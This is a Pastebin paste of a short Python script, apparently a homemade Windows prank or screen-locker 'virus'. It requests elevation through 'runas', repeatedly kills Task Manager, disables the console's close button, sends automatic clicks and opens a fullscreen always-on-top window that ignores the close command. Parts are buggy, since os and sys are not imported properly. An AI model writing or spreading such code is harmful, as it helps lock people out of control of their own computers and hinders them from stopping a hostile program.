Advertisement
Guest User

Untitled

a guest
Nov 21st, 2019
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.38 KB | None | 0 0
  1. from tkinter import *
  2. from os import *
  3. from multiprocessing import Process
  4. from pyautogui import *
  5. import ctypes
  6. import win32console, win32gui, win32con
  7.  
  8. def is_admin():
  9. try:
  10. return ctypes.windll.shell32.IsUserAnAdmin()
  11. except:
  12. return False
  13.  
  14. def taskkilling():
  15. if is_admin():
  16. while True:
  17. os.system("taskkill /IM taskmgr.exe")
  18. hwnd = win32console.GetConsoleWindow()
  19. if hwnd:
  20. hMenu = win32gui.GetSystemMenu(hwnd, 0)
  21. if hMenu:
  22. win32gui.DeleteMenu(hMenu, win32con.SC_CLOSE, win32con.MF_BYCOMMAND)
  23. else:
  24. ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
  25. print("taskkilling ok")
  26. def centerclicking():
  27. click()
  28. print("click ok")
  29.  
  30. def window():
  31. os.system("python C:\\Users\\Пользователь\\Desktop\\virus\\window.py")
  32. print("window ok")
  33.  
  34. if __name__=="__main__":
  35. taskkillingProcess=Process(target=taskkilling)
  36. centerclickingProcess=Process(target=centerclicking)
  37. windowProcess=Process(target=window)
  38. taskkillingProcess.start()
  39. centerclickingProcess.start()
  40. windowProcess.start()
  41. print(123)
  42.  
  43. from tkinter import *
  44.  
  45. def close():
  46. root.destroy()
  47.  
  48. root = Tk()
  49. print(12345)
  50. root.wm_attributes("-topmost", True)
  51. root.attributes('-fullscreen', True)
  52. root.protocol("WM_DELETE_WINDOW", ...)
  53.  
  54. close=Button(root,text="close",command=close)
  55. close.pack()
  56.  
  57. root.mainloop()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement